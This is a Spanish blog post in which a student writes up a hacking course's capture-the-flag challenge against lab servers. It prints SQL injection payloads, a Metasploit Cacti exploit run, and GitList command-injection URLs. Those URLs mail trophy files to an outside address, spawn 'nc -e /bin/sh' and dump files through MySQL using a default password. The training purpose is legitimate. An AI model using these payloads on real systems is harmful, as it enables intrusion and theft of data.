jueves, 22 de octubre de 2015

Unidad 3: Tareas 1 y 2. (RETO FINAL)

EL RETOOOOOOO

NOTA: Todas las anteriores tareas, de las unidades 1 y 2, están en este mismo blog en fechas anteriores.

Pasos que seguí para descifrar el reto:

Averiguamos el los campos de la tabla guestbook:

%' or 0=0 union select null, table_name from information_schema.tables #




Devolvemos el contenido de los 3 campos:

%' and 1=0 union select null, concat(name, 0x0a, comment_id, 0x0a, comment) from guestbook #



The key is "use the force", Luke... (La clave es "use the force")

Abrimos con Kleopatra el archivo y en pass ponemos lo anterior, resuelto.

TAREA 1


Documento colaborativo realizado en grupo y enviado al Consejo por nuestro representante. Equipo "mooc bounty hunters"

TAREA 2

Por mi parte me he dedicado a leer toda la informacion que cambiabamos con los compañeros por correo. Modificar archivos para securizar ciertos servicios, crear usuarios, eliminar root, deshabiiltar relay STMP para evitar envío correos, etc.

Atacando:

Antes de lanzarme a intentar conseguir ningún archivo (el mismo día mis compañeros ya habían cogido algunas decenas), busqué información sobre vulnerabilidades, encontrando bastante, aunque confusa y variada, leí mucho y me lo tomé con calma...

FTP:

Fueron los primeros que intenté coger, y los mas sencillos de conseguir, a través de de los FTP, ya que con usuario anonymous y pass en blanco podías acceder y enviarte un archivo con la instrucción "get".

CACTI:

Posteriormente empecé a leer sobre Cacti, conocerlo, ver que vulnerabilidades podría tener la versión instalada por defecto en los servers, etc., dando palos de ciego, me instalé metasploit que nunca había utilizado y conseguí ejecutar un exploit  sin conseguir nada en claro tal que:

msf exploit(cacti_graphimage_exec) > set RHOST 188.166.78.208
RHOST => 188.166.78.208
msf exploit(cacti_graphimage_exec) > run

[*] Started reverse double handler
[-] Could not locate a valid image ID

GITLIST:

Finalmente y con ayuda de mis compañeros, me confirmaban que se podría ejecutar una instrauccion en la url, entre comillas simples, y a través de la página de Cacti, pude enviarme por correo en un server que supongo que tenía habilitado relay por SMTP, uno de los archivos trofeo, tal que:

http://188.166.63.247/gitlist/gitlist/blob/master/cache/%60mail%20-a%20/usr/share/doc/base-files/mooc-hacking-team-0022-level-01.gpg%20-s%20%22mooc-hacking-team-0022-level-01%22%20kursh@gemailoloquesea.com%60

Se utilizan los códigos de referencia HTML (%20 espacio, %22 comilla doble, %60 comilla simple) para que funcione, la instrucción limpia es como sigue:

http://188.166.63.247/gitlist/gitlist/blob/master/cache/'mail -a /usr/share/doc/base-files/mooc-hacking-team-0022-level-01.gpg  -s  "mooc-hacking-team-0022-level-01" kursh@gemailoloquesea.com'

Recibiendo el archivo en mi correo al rato. No me funcionó en muchos mas servers por razones que desconozco.

También conseguí acceder (con alguna pista de algún compañero a la hora de como desempeñar la inyección por URL esta vez con $ () la instrucción entre paréntesis y con un simbolo de dólar delante) mediante la ejecución de netcat -e /bin/sh, lo que me permitía desde mi ordenador hacer un netcat a la ip del server a "atacar", y manejarme por los directorios. Me di cuenta que si hacía un netcat sencillo no funcionaban algunos comandos, mientras que con nc -lvp en la url del servidor, me permitía luego hacer cat, y algún otro comando. No obstante no fui capaz de enviarme por correo (no funcionaba la instrucción mail), o hacer una reverse shell para enviar desde el server a mi ordenador un archivo con get o similar.

Un pantallazo que tomé en uno de los momentos haciendo un "ls":



Tras conectar con "nc 188.166.123.155 6666" (puerto elegido aleatoriamente), podía hacer list.. cambiar de directorio, etc. pero no fui capaz de recoger ningún archivo trofeo.

Obteniendo un archivo (24 de octubre):
Tras las explicaciones de los compañeros, he podido coger un archivo level 3, utilizando mysql con password por defecto para todos los servers (si lo han cambiado no funciona lógicamente), enlazando instrucciones con punto y coma, se crea una tabla, se vuelca en ella el contenido del archivo con LOAD DATA INFILE, se muestra el contenido y se elimina.


Primero averiguamos que grupo es con hostname o con ls y el directorio para saber el nombre del archivo a coger:

http://128.199.62.241/gitlist/demo-repository/blame/master/%60hostname%60

Oops! fatal: no such path team-0025 in master 

http://128.199.62.241/gitlist/demo-repository/blame/master/%60ls%20/var/lib/mysql/%60

Oops! fatal: no such path cacti debian-5.5.flag ib_logfile0 ib_logfile1 ibdata1 mooc-hacking-team-0025-level-03.gpg mysql mysql_upgrade_info performance_schema in master

Luego intento averiguar por curiosidad si puedo ver el pass de mysql guardado en /etc/mysql/debian.cnf y vemos error, el user www-data no tiene permisos para verlo..

http://128.199.62.241/gitlist/demo-repository/blame/master/$%28more%20/etc/mysql/debian.cnf%29

Oops! /etc/mysql/debian.cnf: Permission denied fatal: no such path in master 
Hacemos list con -l para ver propiedades y vemos que solo root puede leer y escribir en el:

http://128.199.62.241/gitlist/demo-repository/blame/master/$%28ls%20-l%20/etc/mysql/debian.cnf%29


Oops! fatal: no such path -rw------- 1 root root 333 Oct 2 14:56 /etc/mysql/debian.cnf in master


De todas formas intentamos comprobar con el pass por defecto de conectar a mysql y volcar mediante LOAD DATA INFILE la información del archivo trofeo en una tabla y luego mostrarla, vemos que no han cambiado el pass y podemos acceder y ejecutar esta instrucción:

http://128.199.62.241/gitlist/demo-repository/blame/master/%60mysql%20-h%20localhost%20-u%20debian-sys-maint%20-pGvqAXVYKeyeaclsQ%20-e%20%22use%20mysql;CREATE%20TABLE%20auxiliar_table%20%28%20file%20LONGBLOB%20NOT%20NULL%20%29;LOAD%20DATA%20INFILE%20%27/var/lib/mysql/mooc-hacking-team-0025-level-03.gpg%27%20INTO%20TABLE%20auxiliar_table;SELECT%20*%20FROM%20auxiliar_table;DROP%20TABLE%20IF%20EXISTS%20auxiliar_table;%22%60


Se copia y pega la info en un nuevo archivo gpg con el nombre oportuno y ahí está.

-----BEGIN PGP MESSAGE----- Version: GnuPG v1 hQEMAwTqD96R8ATzAQf7BXIkYDbaBgfYdFs3Kn2cbpF4j4ORdS6i3F7Anq8qfhzO r+zvF6WhCaUNtzyruhHLJ8dt6TpFcCqqSlReAMahEp/mT0n/VcmDH3MvFJRkxjUe NWqXz9icUobFRaJk0O1STk0qobQZveeQo9uEERKtUi+J2KXW4vh5WlkIskgWaviZ M+Mbww9I8kROTcTf9VqVX+H8Rb9+fduQAD9I+ESRj9QygdskZtoHwgI24+b3tC7c xowFa/fRkxLXXdS2B6lxOhtkVeUVwq1SXQlWhN7dqlHOs3nT8GwUIz65adKAYhqh Ko97KJdqBh9BDGzc+Oco0wctbIDfqc4OU247doUcl9LA6QFUqCFVbEJsMmE9ZtlE JYHFdu+1R/XPdC5tQDpGM03MLcydzfqaqjhgu01rmwEdZ4U3dQ9v4pmS5XDSKGN6 VGR2DLY9qutWvMQNG8sYyBhtTcHQqAHKXBFb5ebxo+/Hs18e4xVW0YtTLpuVTaU1 ZSGTbNzxl/JZPbNw/WHclN6QXyphOy5Ui+qbb1DXdLuwxsbdN3mMcWIFrE2dhXuG EwdvdRX8HYpcb8Kl9TDuWf7wI2Rec4wkj4GmQWdPJhNEWIzDO7wRAp2MJMQq6wpP 3jv9JIIBf6Ko3bWDHNtKMtmOiKgF7ZE7s8qCahlKm8aoDE0icC8g9jh7P/ANLW7F EmDqh6Y9B+pqy5BlbrZMgkhWgAGXu5gmrAmJ9nY91YxTaTeqW9yTRAZt/6E0s7d1 kzj1qDOaTHtyUibnASntPH5Tk7U5VtXEF74X8GZu50y7cWBHeVjTG25tKujIW7BS Qr7JvFirKz+HnhWyFZhWCzz/ssBhlo/25bl7Sl3IlZLUvwNv7l0amfLuuAC0ZscJ z/u1THUQz/HGj9xcpVxnYe7VuF90ambnsi3n =MCKd -----END PGP MESSAGE-----



NOTAS: Referente a la inyección de las instrucciones en la URL he comprobado que si se ponen entre comillas únicamente se pueden ejecutar de una en una... mientras que si se ponen entre $() podemos poner varias instrucciones seguidas separadas por punto y coma.

ENDE:

Sea como sea.. he echado más horas viendo páginas con información y leyendo sobre vulnerabilidades, que cogiendo archivos, realmente he cogido menos de 10, pero he aprendido mucho y sobre todo a como plantear la defensa y el ataque, y que sobre la marcha hay que ir adaptándose, porque cada persona tiene una forma de resolver un problema y en este caso, nuestro equipo sufrió el acceso de otro equipo en hasta 3 ocasiones, habiendo modificado nuestro servidor sobre la marcha, descubriendo así otras vías de acceso.


No hay comentarios:

Publicar un comentario